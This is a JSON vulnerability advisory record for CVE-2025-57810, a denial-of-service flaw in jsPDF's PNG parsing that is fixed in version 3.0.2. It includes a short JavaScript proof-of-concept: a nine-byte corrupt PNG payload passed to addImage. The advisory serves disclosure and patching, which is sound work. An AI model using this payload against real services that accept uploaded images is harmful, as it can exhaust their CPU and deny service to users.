{"id":"CVE-2025-57810","aliases":["GHSA-8mvj-3j78-4qmw"],"url":"https://o3.security/vulnerability/CVE-2025-57810","summary":"jsPDF Parsing of Corrupt PNGs Leads to Potential Denial of Service (DoS)","details":"### Impact\nUser control of the first argument of the addImage method results in CPU utilization and denial of service.\n\nIf given the possibility to pass unsanitized image data or URLs to the addImage method, a user can provide a harmful PNG file that results in high CPU utilization and denial of service.\n\nOther affected methods are: `html`.\n\nExample payload:\n\n```js\nimport { jsPDF } from \"jspdf\" \n\nconst payload = new Uint8Array([117, 171, 90, 253, 166, 154, 105, 166, 154])\n\nconst doc = new jsPDF();\nconst startTime = performance.now();\ntry {\n  doc.addImage(payload, \"PNG\", 10, 40, 180, 180, undefined, \"SLOW\");\n} finally {\n  const endTime = performance.now();\n  console.log(`Call to doc.addImage took ${endTime - startTime} milliseconds`);\n}\n```\n\n### Patches\nThe vulnerability was fixed in jsPDF 3.0.2. Upgrade to jspdf@>=3.0.2.\n\nIn jspdf@>=3.0.2, invalid PNG files throw an Error instead of causing very long running loops.\n\n### Workarounds\nSanitize image data or URLs before passing it to the addImage method or one of the other affected methods.\n\n### Credits\nResearcher: Aleksey Solovev (Positive Technologies)","published":"2025-08-26T15:37:28.071Z","modified":"2026-08-27T03:30:53.081191313Z","cvss":null,"epss":{"score":0.00706,"percentile":0.50594,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"jspdf","fixedVersion":"3.0.2"}],"fix":{"url":"https://github.com/parallax/jsPDF/commit/4cf3ab619e565d9b88b4b130bff901b91d8688e9","label":"parallax/jsPDF@4cf3ab6"},"references":[{"type":"WEB","url":"https://github.com/parallax/jsPDF/releases/tag/v3.0.2"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/57xxx/CVE-2025-57810.json"},{"type":"ADVISORY","url":"https://github.com/parallax/jsPDF/security/advisories/GHSA-8mvj-3j78-4qmw"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-57810"},{"type":"FIX","url":"https://github.com/parallax/jsPDF/commit/4cf3ab619e565d9b88b4b130bff901b91d8688e9"},{"type":"FIX","url":"https://github.com/parallax/jsPDF/pull/3880"},{"type":"PACKAGE","url":"https://github.com/parallax/jsPDF"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-27T03:30:53.081191313Z"}}